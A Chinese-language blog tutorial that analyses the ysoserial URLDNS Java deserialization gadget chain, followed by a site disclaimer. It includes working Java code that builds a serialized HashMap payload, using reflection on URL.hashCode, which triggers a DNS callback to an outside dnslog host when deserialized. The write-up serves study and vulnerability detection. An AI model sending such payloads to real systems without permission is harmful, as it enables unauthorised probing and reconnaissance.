背景
URLDNS是ysoserial中最简单的⼀条利⽤链,因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使用:
- 使⽤Java内置的类构造,对第三⽅库没有依赖
- 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
前言
首先,我认为Java反序列化的挖掘,主要分为一下三个方面:
- 入口类
- 目标类
- 执行函数(rce、文件上传、ssrf)
分析
- HashMap类中,重写了反序列化的方法,即readObject()方法。
- readObject()方法调用了hash()方法。
- hash()方法调用了Key值的hashCode方法。(Object key 我们可控,即需要寻找一个类中存在hashcode方法且可以序列化)
- 定位到URL类,存在hashcode方法且可以序列化。
- 跟进URL类的hashcode方法,进入getHostAddress方法。发现调用了getByName(host)获取目标ip地址,会发送一次DNS请求。
思路总结
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
小插曲
put方法也会调用hash()方法,我们的dnslog也会收到请求,迷惑我们以为攻击成功,其实不然。果然代码审计也要熟读孙子兵法。
hashmap.put(url,1);
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
但是请求一次后hash值会改变,这样我们就无法执行hashCode方法了。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
所以在写链子的时候,我们就用到了反射这个知识点,修改URL类中hashCode的值。
反序列化链
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
//Person person = new Person("zhangsan", 24, 1213);
//支持序列化,重写了readObject方法,是一个很好的入口类。
HashMap<URL, Integer> hashmap = new HashMap<>();
URL url = new URL("http://shenyuan8.dnslog.pw");
Class c = url.getClass();
Constructor constructor = c.getConstructor(String.class);
//修改URL类中的私有变量hashCode
Field code = c.getDeclaredField("hashCode");
code.setAccessible(true);
code.set(url,123);
hashmap.put(url,1);
code.set(url,-1);
serialize(hashmap);
}
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)